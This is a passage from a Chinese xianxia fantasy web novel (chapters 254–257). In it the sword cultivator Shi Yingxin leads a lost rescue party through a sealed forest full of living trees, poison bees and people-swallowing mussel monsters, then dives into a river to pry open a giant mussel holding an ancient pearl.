孙渤道:“说是前半月的某一日晚上,有弟子看见了罗宝山上空天有异象,像雷光又像什么,说不上来,但在那之后森林便出问题了……” “话说回来,”他说到这忽然想到什么,看向石映心道,“或许当时你们就在石窟之中?可有什么发现?” 石映心呼吸了一口气,不动神色道:“没什么特别的,石窟中处处都是异样和危险,每日光是自保就费尽心思了。” 孙渤并未多疑:“也是,山上的异象偶有发生,大概只是巧合。” 这样似乎结束了话题,但没过一会他又听石映心问:“难道罗宝山石窟和谷神森林有什么关联,为何你们药神谷弟子会觉得石窟中的异象会和森林有关?” “是有些关联的,不过具体如何并不清楚。”孙渤颔首道,“你看谷神森林的深林末端就毗邻着罗宝山,二者皆是神秘又庞大的灵力之所。俗话说一山不容二虎,除非一公一母……” “咳,我的意思是,两个强者若能在同一环境中共存,定有能和睦共处的相连之处;这也是我们药神谷弟子的基础认识,不过也只是认识个基础,毕竟深林处和罗宝山石窟一样危机重 重,不可随意去;不同的是,深林被谷主他们封锁了,但石窟是开放的。” 石映心这下是听明白了,机智如她,很快便有了一个推测: 已知罗宝山石窟中最强大的灵力体是帝女石窟上头的上古神石,若谷神森林要能与其和睦共处,必定有相通之处;再结合谷神森林同样神秘庞大的灵场……答案呼之欲出: 谷神森林的深林处也有一颗上古神石。 带着这个前提,一切都说得通了。先前夕颜说过,那位仙尊需要一件深林中的宝贝,她差点就要拿到,却因此让谷神森林出现了动荡,产生了和现下情况相似的异变…… 而如今,她拿走了罗宝山石窟中的上古神石,谷神森林与其有千百年的感应,因此也被影响…… 好了,想到这差不多了,八九不离十能确定了。 石映心微微抿了下唇,整个人轰然沉默下来。 果不其然,药神谷如今的难处就是她惹的祸。 那咋整?不可能再把石头放回去了……因为那颗上古神石已经被吸入她的心镜中,她自己都还没搞明白怎么回事呢。 “石道友,石道友?” 石映心回头,见孙渤一脸关心道:“你怎么了?脸色不太好看。” 那能好看嘛,她从来没闯过这么大的祸呢,还是经验不够,一时不知道该咋办好了;如今她师兄妹又是那情况,也没个商量的对象。 ……算了,暂时没招,走一步看一步吧。 某人虽没那么乐观,但非常擅长放过自己。 “我没事。”石映心转移话题,看了看前方的景况道,“前边是不是就要到深林边界了?” 第254章 孙渤往前看了看:“是,快到了。不过奇了怪了,我们这一路走来也没遇见什么妖魔鬼怪,难道都被前边那支救援的队伍处理了?” 石映心:“没遇见不代表不存在。” 她这一路走来可是感到了不少窥探的视线,不过这些小妖怪似乎都心有顾虑,只在暗中鬼鬼祟祟。 妖不犯我我不犯妖,石映心不会去主动杀妖,只是好奇它们究竟在干嘛呢,来都来了,怎么也不出来耍一哈? 这时候听孙渤半开玩笑道:“若是存在着但不现身才更危险,敌方在暗我们在明,怕是有陷阱。” 石映心:“是吗?” 说话间他们已经到了深林的边缘,先前提到过,谷神森林的深林被落桦谷主封印了,按理来说大伙是进不去的,所以他们原先的路线是走到这就拐弯往东处走,再绕一圈回谷中。 可这时前方忽然有些躁动,前边人说看到了一枚药神谷的令牌,为什么说是看到了,因为位置很暧昧,就在深林封印里头几步远,没人敢去捡。 陷阱,明晃晃的陷阱。 不过这也说明,封印很可能被破坏了。 大伙都有这样的不妙感觉,双脚扒拉着鞋底紧贴着地面,不愿再走近一步。 有人说联系一下上一支队伍的人吧,于是有联系手段的都用了手段,什么纸鹤符箓的都试试;就这么在原地等了好一会,依旧没有回信,就连传回谷中的信也没消息。 大伙惴惴不安地议论纷纷起来: “没有回信是什么意思,他们失联了?” “不是吧,难道真进到深林里了?” “往好处想,可能是我们失联了,联系不上谷中。” “这是往好处想嘛?” “是啊,那要是我们失联了,现在就打道回谷不就行了;若是他们失联了,岂不是真要进深林里头找人?” “啊,我可不想进……” ……嘚吧嘚吧。 有人朗声道:“别着急,可能是邻近深林,附近灵场混乱才联系不上,不如我们离远点再试试?” “什么离远点,你就是想回去吧?” “那你想进去吗?谁都别拦哈。” “这不来救人的吗!” “别吵吵!现在是吵吵的时候吗!” ……巴拉巴拉。 大家都讨厌遇到这样进退为难的情况。其实这情况放在平时吧,大概率是要走回头路的;可问题是他们这队是支援队,就是来救人的,如果人真在深林里,出于责任也得进去瞧瞧,起码拿到那块令牌看看情况,回去也有个交代…… 可现在,队伍里都是偷摸摸打退堂鼓的声音。 一是从小听深林恐怖故事长大的药神谷弟子,这真是不想进的;二是临时被拉来帮忙的外门弟子,那何必为了药神谷搭上自己的小命呢? 双方都不想进,但都不能表现出来,只等着出现一个对方开口说“回去吧”然后自己很不情愿地勉强答应的契机。 这契机很快来了,不过事与愿违,是将他们逼入深林中的契机。 雨。 下雨了。 天有不测风云,人有旦夕祸福,这话有时是前因后果的关系,说的就是现在的情况。突如其来的大雨让本就昏黑的森林变得阴森,水雾瞬间弥漫笼罩着众人,什么前路后路都不见了踪影。 石映心手中的辟邪灯被雨水打灭,她抬头望去,队伍中不少照明宝器都失去了作用,突如其来的雨和突如其来的黑让人群陷入混乱。 又是雨。 她心想,这肯定不是普通的雨。于是拿出二师兄的防御伞来,顺便给边上的孙渤撑了一半。 “糟了,”孙渤用法术将自己弄干爽,感到很倒霉,“怎么偏偏下雨了。” 石映心道:“谷神森林中的雨是不是不同寻常?” 孙渤真心觉得她很机灵:“是……有时候是。” “这场雨是吗?” 孙渤苦笑一声:“得下完之后才知道。” 二人站在雨幕中,默然看着因雨变得慌乱的人们着急地拿出自己的避雨宝器,有人自己避雨,有人躲在别人的宝器下避雨,避上雨后便慢慢地安定下来。 哗哗雨声中,石映心望着三两挨着的人们,忽然觉得她们很像蚂蚁群,她也像,总之是拿老天奶没办法的,下了雨就得避;躲在树叶下,石头缝中,相互依偎着,一时什么打算都没办法实行了,只能等雨停。 人和蝼蚁这么像。 雨声扰人心乱。 “回去吧!”有人实在受不了地喊了一声,“回药神谷!” 雨声中有人应和。 就连等雨停都等不了,他们立刻就要走。 哗啦啦…… 走着走着,蓦然回过神来,可惜来不及——早已落入雨的陷阱之中。 哗啦啦……哗啦啦…… “等等,这不对吧——”人声在雨声中显得缥缈,叫人分不清是不是幻听,“我们是不是走错路了?” “方才我们往那走来着?” “不知道啊,我跟着你走的!” “什么跟着我走的,分明是我跟着你走的!” “别逗了哥们。” “谁逗你了,方才我就是跟你后边走的。” …… “谁的令牌掉了?”忽然有人这么喊了一声,“是你们药神谷的令牌,谁的?” 大家纷纷检查自身:“没啊,我的没掉。” “上头有写名字的,你瞅瞅呗。” 哗啦啦…… 那人便在黑灯瞎火中仔细瞅了瞅:“叫什么……李五?李五在哪?” 哗啦啦…… 人群静谧下来,只留下雨声,这么哗啦啦了一会,大家才意识到李五不在队伍中。很快有人想到:“我记得李五确实是我们护卫队的,不过好像在上个支援队中?” 有声儿嘀咕道:“你们药神谷的人怎么天天掉令牌。” “什么叫又?” “方才封印里头不也有一枚么?” “那是……” 那是? 哗啦啦…… 石映心知道有 时候人的思绪会突然变得迟钝缓慢,她认为这是一种刻意的行为:大脑早就想到了真相,不过因为不愿承认,所以故意将接近真相的推测思绪拉长,算是一种下意识的自欺欺人。 不过她就不是这样的人,因此很快反应过来,淡定地问边上的孙渤:“进了深林后要怎么出去?” 孙渤的大脑这时候已经缓慢了:“石道友,这就触及我的知识盲区了……不过你问这话是什么意思?” 哗啦啦…… 石映心默然看了他一会,想了想还是安慰道:“别紧张,来都来了。” 孙渤:“……啊?” 哗啦啦…… 大伙被迫反应过来他们已经进入了深林之中,然后没办法地接受了他们一行人在雨幕中迷路的事实。这时候就有了新的分歧: 留在原地还是四处探索,这是一个问题。 石映心就是在这样的分歧中站出来的,这位一路走来都很低调的剑修上来就亮了身份:“我是归壹派的剑修,境界已入元婴,带了一些不一定排得上用场的宝器,有自保能力但只能顺手保护别人……” 这么说完她道:“愿意和我走的请上前来。” 真是开了些不咋诱人的条件啊。 也就孙渤苦哈哈地走上去了。 石映心瞅他的心思,对方只是为了关照她而已,毕竟是自家师弟妹的朋友,又受了落叶长老的嘱咐。 但说实在话,剑修在这种时候是很吃香的,大伙虽然不愿去冒险,但也舍不得她离开。有人劝道:“石道友,你何必要冒险呢?我们就在这等待支援也好。” 石映心不问反答:“先前我们本打算打道回府,却掉入陷阱入了深林中,难得你们觉得原地止步不前就不会遇见危险吗?” “可是……” 石映心并不想多听:“去和留其实并无区别。” “话虽如此……你也太大胆了吧?” “我只是觉得……”石映心想了想,“来都来了。” 众人:OO 这不对吧石道友,这会应该发表一些振奋人心的、正义凛然的、鼓舞士气勇往直前甚至为了大义舍己为人的豪言壮语才对……但瞅她如此淡然,如此镇定,如此处之泰然……嘶,好有大能风范啊! 居然就这么又有几人跟了上去:“说得真是有理,那加我一个吧。” 孙渤:……什么有理? 本就是打着报团取暖主意的这些人,见取暖的人少了,干脆自己也加入好了,这么一来二去的,竟然所有人都决定往里头走,和一开始的队伍区别就是多了个领头人石映心。 石映心带队往里走,孙渤在边上有些诡异地崇拜她:“石道友,您还挺有领队风范。” 领队风范?石映心便想到大师兄,这活一般是大师兄干的,现在大师兄还没醒来,只好见她的风范了。她从未想领导任何人,大多数时候我行我素,若是别人要一道走,那么她也会象征性地关照一下。 毕竟师父大师兄都说了:与人为善是必做的表面功夫,助人为乐是顺手的人道良心。 因为要求不高,石映心便谨记于心。 哗啦啦。 石映心领队也不是吓走的,她有自己的一套逻辑,比如她就往雨小的地方走。没走一会儿,果真见雨势渐小,到最后只剩下时不时从树叶上落下的水滴了。 雨声小下来之后,队伍中就安静得让人心慌,大伙刻意地没话找话,但心思压根不在说话上,都在提心吊胆地打量周遭的情况,因此彼此间的对话就有些不合逻辑: “方才我们是不是来过这里了?” “嗯?” “你说要不我做个记号?” “行啊。” “做个啥记号好呢,你有啥不值钱的玩意不?” “你才不值钱呢!” …… 第255章 “奇了怪了,我怎么就跟着来了?” “嘶,你有没觉得那石道友有些眼熟?” “你忘啦,就去年的摘星大会啊,她秘境大比的魁首来着。” “哦,是她!” “是啊,要不然你以为我随便就跟来的?” “但别说,这种时候还是有个归壹派的剑修在边上更安心。” …… “啧,能别扯我不?” “谁扯你了?” “就你挨着我,不是你扯我鬼扯我的?” “瞎扯,我没事扯你干哈?” “唉!你挠我腰什么意思?变态啊!” “谁挠你了,我还没好意思说你刚碰我屁股呢!” “谁要碰你的埋汰屁股了?” “你说谁屁股埋汰??” “就你!” “放屁!” 二人这时又感到有人戳腰,猛地往后探手一抓——咦,怎么是根树枝?彼此面面相觑,只觉得臊得慌,这不自己吓自己嘛?丢人!只好相视讪讪一笑: “森林里有树枝,这正常。” “太正常了!” 二人打算过了这茬不再提,把树枝一甩——这下不正常了,那树枝缠人呐,一下子反握住他们的手腕,欻拉一声,将措手不及的二人吊了起来。 “我嘞个逗!” “救命啊——” 石映心听到动静回头望去,本以为人这么多用不着她动手。谁知这只是个引火线,一下将戏剧炸开了序幕——所有的树都活了过来,张牙舞爪地挥舞着还带着雨滴的树枝,场面瞬间热闹非凡。 剑修便提剑飞起,利落地斩下无数的妖魔树枝,但依旧有源源不断的树枝从截断面新长出来。孙渤喊道:“攻击这些树木的根部!” 于是药丹修往根部洒毒粉,符阵修画阵画符开炸,器修动用各种宝器试图破坏……剑修一剑刺入根部,猛地将一棵大树连根挑起,差点没误伤边上的同伙。 就这么各显神通地毁坏了这片会动的妖魔怪树,一行人狼狈但全须全尾地逃离了现场。 但这只是开始,只是深林同她们友好地打了个招呼。 紧接着他们遇见了毒蜂群。好在有器修的宝器可以捕蜂,又有符修的火符和石映心的火桶能烧掉一些……虽然烧到了边上的树木差点酿成大火,但被她们及时扑灭。 这时候出现了被 毒蜂扎了的中毒者,幸好在场很多药神谷弟子,最不缺的就是解药;总之是没什么大事,不过是脸肿成猪头手肿成猪蹄罢了。 然后又碰到了禁飞沼泽地,吞掉了他们尝试的几双鞋子和几个宝器。人多脑子多,大伙很快想到办法:队伍中有琼华宫的壮士,力大无穷的体修们将一个个人团团打包好丢了过去,接着她们再用灵绳像猴子一般从树上荡过来。 此环节除了要抛下自尊暂时不当人外,并无伤亡。 走着走着遇到了一只变异的猛兽野猪怪,这属于剑修的舒适区,大伙就站在后边看她展示剑招,那叫一个行云流水出神入化势如破猪……欸还没看够呢猪就死透了。 剑修擦好剑上的新血,又看看死得新鲜的野猪,贴心地问:“不如我们暂作休息,吃点猪肉再走?” 大伙:……啊这能吃吗?要不吃点试试也行…… 孙渤忙跳出来说不行不行啊,普通野猪就算了这可是野猪怪普通野猪怪就算了这可是变异的野猪怪绝对不能吃啊。 石映心:好吧。 于是只好舍弃新鲜的变异野猪怪猪肉继续……走不动了,先歇歇。 此时她们已经在深林中走了快一个半时辰,但还是不清楚怎么样才能到头。孙渤坐在石映心边上,蹭她的火桶取暖,只是这火暖不到心里去,他不由得哀愁道:“石道友,你说我们能找到出口吗?” 石映心道:“能。” 她这样的信誓旦旦给了孙渤一些安心,但只有心安了一点,脑子还在转:“传说谷神森林的最深处几乎没有人迹,去过的人也没再现世……你说,那些闯入森林中的人会不会和我们一样,遇到危险后能侥幸活下来,可始终找不到出口,就这么日复一日地冒险……” 石映心瞅他一眼:“不知道,但我会出去的。” 孙渤便满怀希冀地问:“难道石道友你已经有了头绪?” 石映心实话实说:“没有。” 孙渤眼中的光灭得飞快。 她们休息了一会,便打算继续往前走,走着走着又解决了几只小怪,累了就停下来休憩,歇好了就再次启程…… 深林中没有白天黑夜,修士们无需饱腹睡眠,这么茫茫然地走下来,仿佛已经过了很久很久,过去和未来都瞧不见尽头。 孙渤越来越坚定了自己的悲观,和石映心道:“唉……再这样下去,不被那些妖怪杀死是一回事,我们很可能会失去求生的欲望。” 石映心心想有这么夸张吗:“这才两日。” 孙渤一惊,神智清明一些:“才过去两日吗?” 石映心点点头。 这简直是度日如年啊,孙渤想,不过也因此感到些安慰:被消磨意志是一件很可怖的事,他要打起精神来才好。 走啊走,走啊走。 她们终于跨过已经找不出不同的、无用再做标记的树林,看见了一片新的景色:面前那片宽阔是河流吗?地上游淌的亮色是水光吗? 众人欢呼起来,哪怕还未找到出口,但走出千篇一律的森林怎么不算是一种成功呢? 她们叫嚷着要去玩水。 石映心并没有多少兴奋,但看到大伙这么高兴,心里也轻松一些。她打量了会周遭,没发现什么危险,便想着找块干净的地坐下来歇会。左顾右盼时还不晚要抬头看看河流边的情况。 左看看,抬头,没事,继续找; 右看看,抬头,无碍,再找找; 左看右看,抬头,没问题,接着……嗯? 石映心抬起头来扫了眼河边的景况,一片欢声笑语的和谐画面,似乎没什么问题,但她怎么感觉哪里有点不对劲?这下她也没心思休息了,迈着脚步往河边走去,顺便寻找孙渤的身影——他正在和谁说话。 看来没事。 只是她目光错开一瞬又回来,方才还在和谁说话的孙渤却在茫然地东张西望,似乎在找谁…… 石映心猛然意识到是哪里不对劲了,立刻朝人群大喊:“快集合,有人不见了!” 这一声惊起大伙,她们连忙跳起来打算逃离河边,但真相败露后“对方”也不装了,干脆显现——只见一阵地动山摇,众人脚下安静的地面忽然开裂,有什么东西从里头冒了出来,猝不及防地震得地上的人东倒西歪。 石映心顺手扶住一个差点摔倒的道友,定睛一看,地下冒出来的那玩意是……蚌? 不错,那冒出地面后还沾着泥土的两个黑绿色椭圆形介壳,开闭时露出里头的肉层,像是人大张的嘴巴,此时正如青蛙一般吐出乳白色的长长的舌头(仅此处代称),猛地卷住了谁的脚腕,以迅雷不及掩耳之势将其拉入壳中再紧紧闭上。 石映心:什么玩意。 地上冒出的蚌怪太多,她乱剑再快也来不及救援,这会就已经有不少的同伴被蚌怪吃入壳中。石映心飞来飞去着斩断了不少蚌舌,但这玩意会再生,而且速度飞快,她只能选择救人而不是斩草除根。 混乱地忙碌了好一会,好不容易将幸存的人集中在一个还算安全的地方,石映心打算去开蚌壳救那些被吃进去的人。 在剑修之前其他人也尝试了不少办法,比如洒毒粉让蚌“吐”出来,或是敲敲那壳还挺坚硬,打算先不理里头的人炸了先;还有人说要用火烧,按照原理,蚌熟了就会开口的……这时候就先不考虑里头的人肉熟没熟了。 可惜都没什么用。那吃了人的蚌怪就安分地杵在那,不动如山,毫不受影响,宛若一块石头。 大伙折腾得精疲力竭,将最后的希望放在了救完人后飞回来的剑修身上。 “石道友,这下就看你的了!” 石映心挽了个剑花,先是问:“里头的人还有声吗?” “没听见了。” 就在石映心犹豫是要开蚌壳还是直接将蚌切两半的时候,有个天机阁的道友说:“卦象上说他们还活着!” 还活着?那就只能开蚌壳。 石映心将帝血剑的剑尖卡入蚌怪紧闭的两个外壳的缝隙之中,先是随意试了试劲儿,自然没那么容易;于是她将剑身覆上灵力,瞬间充满了力量的帝血剑发出兴奋的嗡鸣声,随着剑修一剑摁下—— 咔嚓。 在众人的惊呼声中,蚌壳看似被轻松地撬开了;只是下一刻这惊呼声就转为了沉默: 她们瞧见了里头那蜷缩成一团的、宛若变成婴儿一般,周身包裹着一层乳白色皮肉的人,她安然地躺在蚌怪的蚌肉之上,无声无息,只有微微的呼吸的动静证明她还活着。 众人哑然,一时不知所措。 石映心那剑尖去挑了一下那层乳白色的皮肉,看着像是蚌肉。就在她打算将其划破的时候,那位天机阁的道友阻止了她:“且慢,这位道友似乎已经和蚌怪连结在一起了,贸然切断她们之间的联系怕是会出事。” 石映心便停住了动作,扫了眼身后好多蚌壳:“那还有这么多。” “是啊,”边上还健在的孙渤道,“难道我们要放任他们不管?” 天机阁道友脸色很惨白:“我只是根据卦象说话,做不了主。”意思就是听你们的。 就这讲几句话的空荡,那刚被石映心撬开的蚌怪似乎回过神来,趁她们不备又给关上了。但这下就不急着开了,开了也没用啊。 第256章 有人发言:“说来也奇怪,为什么这些蚌怪会长在地下啊,难道不该长在河流里?” 孙渤踩了踩地面,软塌塌的:“你们看这附近的土壤非常湿润,应是下边已经被浸入了那条河流的水,甚至相通成地下河了,长出这些蚌怪也不奇怪。” “嘶,说不定是河里的蚌太多了,所以才被挤到这地下来?” “很有这个可能。” 又有人问:“看来数量不少,我们过河时要小心些。” “你什么意思,真的不管这些人了?” “那也没办法啊,我们总不能一直待在这。” “石道友,”有人看向石映心,“你做个主吧。” 石映心也琢磨着呢,她还是问那个天机阁道友:“她们在这蚌壳之中还能活多久?” 天机阁道友微微摇头:“算不出来。” 石映心:“在你看来,我们是该走还是该留?” “……算不出来。” 有人抓耳挠腮道:“你们天机阁不是卜术超厉害的吗?怎么啥也算不出来?” 那位天机阁道友叹了口气,很是无奈:“此处没有月亮,灵场又很奇怪,我的状态本就不好……方才那一卦已经耗尽精力了。” “啊,你这不靠天吃饭吗?” 天机阁道友:“……和你说不明白。” 孙渤好心解释道:“谷神森林本就灵场诡谲,修士的神智很容易受到影响,像天机阁这类偏感应的法术肯定很不好受。” “看来武力才是硬通货啊。” “是也不是。”孙渤瞅了眼石映心,无奈道,“武力只能保证存活,但要真的想出去……还是得看感应,也就是所谓的直觉吧?” 天机阁道友颔首道:“不错,此处修为最高的便是石道友,我看她也是个稳重冷静的人,不如就按照她的直觉来好了。” 直觉? 石映心想这可是你们说的哦,那我就按照直觉瞎来了哦。 “你们几人找个安全的地方待着。”剑修简明扼要道,“我下水去看看。” 大伙:!? “你要下水?下水干嘛去?” 石映心:“看看水里的蚌怪。” “水里的蚌怪和这些蚌怪难道有什么不同?” 石映心:“这正是我想知道的。” “可你要是走了,我们遇到什么危险……比如这些蚌怪又发作吃人怎么办?” 石映心:“不知道, 那么你们和我一起下去?” “为什么一定要下水呢?” 石映心便看向那位天机阁道友:“直觉。” 看到这不知吃了人要干嘛的古怪蚌怪,本来在林中乱逛着、混混沌沌的石映心莫名升起一种直觉:这是一种陌生又熟悉的感应,她觉得自己要找的东西和这个蚌怪有关。 虽然她连自己要找什么都不知道。 可与其继续盲目地在深林中走下去,不如听从直觉下去看看。 见她已经下了决心,其余几人也不再劝,转而开始犹豫是要跟着下去还是找个安全的地方待着。在石映心本就不多的耐心告罄之后,大伙混乱地选择了后者,毕竟她们是人不是鱼,当然是待在岸上更有安全感,彼此也有照应。 见她真的要一个人下水,孙渤有些内疚:“对不住了石道友,到了水下我怕是自身难保,可能要拖你后腿……” 石映心道:“我也是这么想的,所以原本就是一人下水的打算。” 孙渤一愣:“是哦。那么……你一人要注意安全,若有情况就赶紧上来。” “好。” 她们待在距离岸边有些距离的地方,远远望着石映心的身影消失在昏暗的树林之中,彼此面面相觑后都叹了口气,感到无法安定的无助。 有人瞅了眼不远处的蚌怪,轻笑一声道:“我看她们在里头睡得还挺舒服呢,比我们这样提心吊胆的好多了。” “咋的,”边上人怼他,“你也想进去睡?” “没。” “话说石道友胆子还真大啊,真的一人下水啊?感觉她不知道害怕是什么玩意,她平时就是这样的吗?”这话是对着孙渤说的,大家看出来二人稍微熟稔些。 孙渤闻言,耸了耸肩道:“我也就比你们多认识她半个时辰。” “像这样的人一般只有两个结局。”天机阁的道友默默开口。 “是什么?” “死亡或是收获。” 大伙正琢磨着这话,忽然感到自己在不住地颤抖,低下头一看——土壤已经悄然裂开了裂缝,有一张乳白色的嘴巴在静息等待着。 那么,不敢冒险的人又会有怎样的结局呢? * 石映心服下避水丹潜入河中,冰冷的水流从她的头顶游到脚尖,像是一种冷酷的打量,搜查她这位不速之客。河里黑乎乎的,一开始她还不在意,按照以往的经验,在黑暗中她也是能勉强视物的。 可这里实在太黑了,不只是因为黑夜而黑,仿佛本就是没有光明的黑色。石映心游了一会,确实是看不见,于是停下来想了想什么能照明…… 对了,夜明珠,她小时候过生辰时师父送她的夜明珠。 也是许久没拿出来玩过了,没想到能派上这样的用场。 石映心变出夜明珠,它在她手中发着并不刺眼的、月白色的、莹莹的光,像是黑夜中升起的月亮。这光放在枕边就寝很舒适,现在就有些不够用,于是石映心附加了一些灵力上去,让它的光芒发散开来,照亮了眼前的路。 先是看到了很多小鱼,一群一群地围绕在她身边,似乎被光驱散开,又好奇地躲在明暗的边界偷偷窥探。 如果石映心平时关注一些鱼种,她会发现这些鱼类非常罕见稀奇;但此时她只觉得每只都很丑,丑得奇形怪状,叫人不忍直视。 难道是因为河里太黑没有被看见的必要所以就随便长了吗?剑修这么想。 这些鱼避着她、或者说是她手中的光,就这么让出了一条路来,让石映心顺利地往河底游去。 这条河不深,游了没一会就能隐约瞧见下方的蚌怪群了。那些蚌怪闭着蚌壳,静静地栖息在河底的泥沙上,瞧着多么安分和无害;一个挨着一个,几乎将河底铺满,不留缝隙。 石映心随机降落在一个蚌怪上,用帝血剑不轻不重地敲了敲蚌壳,对方没什么反应,不像是在装死,倒是像无欲无求的……呸,真无欲无求方才在上头吞那么多人是什么意思? 她懒得多想,熟练地将剑尖卡入两片蚌壳之中,一使劲儿就将壳撬开了。探头一瞧,平平无奇的蚌肉上有一颗……石头?不对,这应该叫珍珠。 石映心见过普通蚌类,在她印象里,蚌壳内应该有许多小珍珠才是,但这只蚌怪体内只有一颗大珍珠。她想了想,随手又撬开了边上两个蚌壳,都是仅有一颗珍珠。 怎么变成妖怪之后珍珠还变少了?虽然个头是大了些。 她直觉自己要找的东西和蚌怪有关,蚌怪的蚌珠算是它们的妖丹,难道她要找的就是这些珍珠? 思及此,石映心用剑将面前的蚌珠挑了出来,拿手上打量了一下,又对比了一下自己用来照明的夜明珠……这蚌珠就显得太平凡了。 她有些摸不着头脑地将蚌珠又放了回去,但这跟挖了人家心脏又粗暴地塞回去有啥区别,蚌怪无法再接纳蚌珠,那层乳白色的蚌肉急速地干瘪衰败,显而易见地死去了。 石映心没想到对方死得这么轻易,愣了一会后便将那蚌珠挑了起来收回囊中,心说不要白不要;她虽然看不出成色好歹,但二师兄一定看得出来,而且很乐意看。 那么……剑修将视线转向边上满满当当的蚌怪,顺手挽了个剑花。 半个时辰后。 石映心坐在一个死去的蚌怪上休息,时不时揉揉手腕放松,一眼望去都是自己撬开的蚌壳,储物袋里也收了不少珍珠。只是她很疑惑啊,为什么这些蚌怪在岸上的时候吃人吃得那么凶猛,到她眼前就变得这么……逆来顺受? 也许是岸上的蚌壳和河底的蚌壳有什么不同? 算了,不重要;重要的是她已经撬了那么多蚌壳、收集了那么多珍珠,依旧无事发生呢?难道……石映心转头看了看身后一大堆未撬的蚌怪,心说难道真的要她把所有的壳都撬开? 唉。 剑修又服下了一颗避水丹,认命地站了起来,漫不经心地继续撬。撬着撬着她发现,好似上头鱼越多的地方、蚌壳里头的珍珠就越大?这发现让她打起了精神,总算能抛弃题海战术了,果断地朝鱼群聚集的方向游去。 游的时候她想,此时肯定已经离她入河的地方很远了。不知道这条河流的始末在哪,当时留在岸上的那些道友是否还安全……可此时这些思绪并不能阻碍她继续前进的步伐。 终于,她在鱼群无知觉的的指引下来到了某处。剑修抬头看看,上方盘旋着数不清的鱼群,密集程度让她想到了不久前对付过的蚊子怪释放的虫卵毒雾,再早些就是盘瓠墓室内那片药池中的景色。 这些丑得千奇百怪的鱼群围绕着夜明珠散发的光亮,游来游去着似乎有些焦躁,时不时还撞到边上的伙伴。 剑修低头看看,在夜明珠的照耀中,无数的鱼影在她脚下游淌,在月白的门服上爬行,她裸露在外的皮肉也成为了一面画布。而让它们如此恋恋不舍不肯离去的…… 石映心的脚尖摩挲过下方一条硬邦邦的条形纹理,轻轻一点在水中飞起;带着夜明珠的光芒,她像是一颗发光的气泡球,就这么在水中荡开鱼群飘离了一些距离,才看清了——原来这是一个巨大无比的蚌怪。 第257章 石映心这时听到自己澎湃的心脏在耳廓内疯狂跳动,先前她一直以为是水里太安静了才显得它喧嚣,但现在她明白了,她的心确实非常兴奋。 她直觉,她要找的东西就在这巨大的蚌怪之中。 石映心拿着帝血剑,从蚌壳的侧面游到正面,打量了一会又游到了后边,接着又游回了原点。剑修琢磨着要从哪里下手合适。虽然她已经有了一个多时辰的开蚌壳经验,对她的天赋来说这已经足够了,但面前这家伙显然不能轻易对付…… 想了半天,还是没头绪,那只好先随便试试。 她如法炮制了之前传统的开蚌壳的手段,并不意外地失败了。石映心一时没琢磨出来是 哪里出了问题,于是又换了几个撬动的点,再往帝血剑上加大灵力试了试——不行。 石映心:加点技能。 这次使出了惯用的大招:照。 镜灵朝着巨大蚌怪一眨眼睛——她看见了,蚌壳中有一个巨大的、充满了灵力的珍珠,一看就很值钱。然后…… 没然后了,她没能“照”到这蚌怪的力量。 或者说,这蚌怪本身并无多大的力量,真正的宝贝是其中的珍珠,可蚌怪的壳却能将珍珠的灵力隔绝,从而让镜灵照不到。 怎么办。撬嘛撬不开,照嘛照不到。 镜灵第一次遇到这么刁钻的难题。 她只好先坐在一边的小蚌怪上休息,耳边时不时响起水流的咕噜噜声,但除此之外一切非常静谧,世间仿佛没有其他的声音了,或者说压根没有其他的人了,只剩下她一人坐在这漆黑幽深的水底。 这样静谧的时刻,石映心难得感受到了孤独。她的思绪从想办法漂到了想师兄师妹。如果换月她们此时在这……大概率也是没有办法的,但她一定不会像现在这样郁闷。 她想回去。她要离开这里。 进入谷神森林以来,石映心第一次有这样迫切的欲望;甚至她更难得地感到了后悔,如果当初没有那么冲动地来到这里……也许她已经找到了唤醒师妹师兄的办法,她们已经开开心心地回归壹派了呢? 难受。 好安静。 她想听听说话的声音,可她无力张口,无法自言自语。 莫名其妙地,她想起了那些梦境,想到了那块老石头,她忧伤地说: 【唉,可你学会了我的寂寞,在我离开之后,一定会感到孤独的。】 【那么她记得我,却对我毫无感情,这太叫石头伤心了。】 【我怎么忍心留下悲伤和寂寞给她呢?】 这千年前的关怀,石映心今生今世今时今刻才能做出回应:原来她学会的并不是悲伤,而是热闹和快乐;在此之后,才后知后觉了孤独和寂寞。 先前对这梦没什么感触,现在她觉得了,她大概也许可能原本确实是块石头,时不时在荒漠中风吹雨淋,时不时落入凡尘磕磕碰碰,时不时沉入水底茫然沉睡不知今夕何夕……就像现在这样。 没有人的时候,她就是一块石头。感受着孤单却无知觉,忍耐着寂寞但不懂得,只等着有一道声音将她唤醒…… “没招了吧,小镜子?哈哈哈哈!” “不如你好声好气地拜托我,我便教你怎么办。” …… 石映心:如果是这道声音的话那要不算了吧。 现在也没有太阳没有月亮,石映心大概猜到对方是汲取了蚌壳内珍珠的灵力才得以生机。这个判断让她感到很不满:一是凭什么她照不到但对方却能轻易汲取珍珠灵力;二是这家伙获得生机的方式也太多了吧,简直防不胜防。 别理她。 石映心甩甩脑袋,提起剑来打算再试试。可她没飞过去一会,又听那声音说:“以你现在的修为,想开这蚌壳完全是痴人说梦,就是再加上你师兄妹三人也不可能,哈哈哈哈!” 不听不听。 “嘻嘻,照也照不了是不是?这是自然的,可别小瞧了这只大蚌怪。” 别理别理。 “还撬呢,省点力气吧,没用的,等帝血剑撬坏了就老实了。” 好烦好烦。 “小镜子,别逞强了,快和我说话!只要你和我说话,我就告诉你打开这只大蚌怪的办法,届时谷神森林也困不住你!” 石映心停下来歇了口气,思索着对方的话:既然她说“告诉你打开这只大蚌怪的办法”,而此时此刻在这水中的唯一的人就是她石映心……换句话说她拥有打开蚌怪的能力,只是少了办法。 奇了怪了,有什么办法是她想不到而对方能想到的? 谜底一定在她身上…… 并且,是一件她不熟悉但对方熟悉的东西,要不然为何她会不知道呢? 想到这,机智聪明的石映心已经有了答案,她在储物袋里找了找……咦,被她丢到哪个角落了来着?好在翻来覆去地找到了。拿出来一瞧,是一块就她半个手掌心大的小石头,模样简单,半个椭圆的形状,中央有一道凹槽,像开了一个缝隙的门。 她一拿出这玩意,那声音就有些惊讶道:“哎呀,居然让你想到了!” 石映心听出她的惊讶假假的,但也不是不惊讶,怎么说呢……有点哄小孩的感觉:自己轻轻松松力所能及的事,别人做到就很难得。 这算是自信还是自大呢…… 石映心打量着手中的石头,漫不经心地想。 “你会用吗?” “想到了不代表会用呀,要不要我来教教你?” “这块阿央白石可是件宝贝,你不能乱来。” 阿央白石?石映心完全没听过这件宝贝的名字,只是大概知道它是上古时期的宝贝,面前这巨大蚌壳怪中的珍珠八九不离十也是;这么看来,二者应该都能被对方汲取灵力生机。 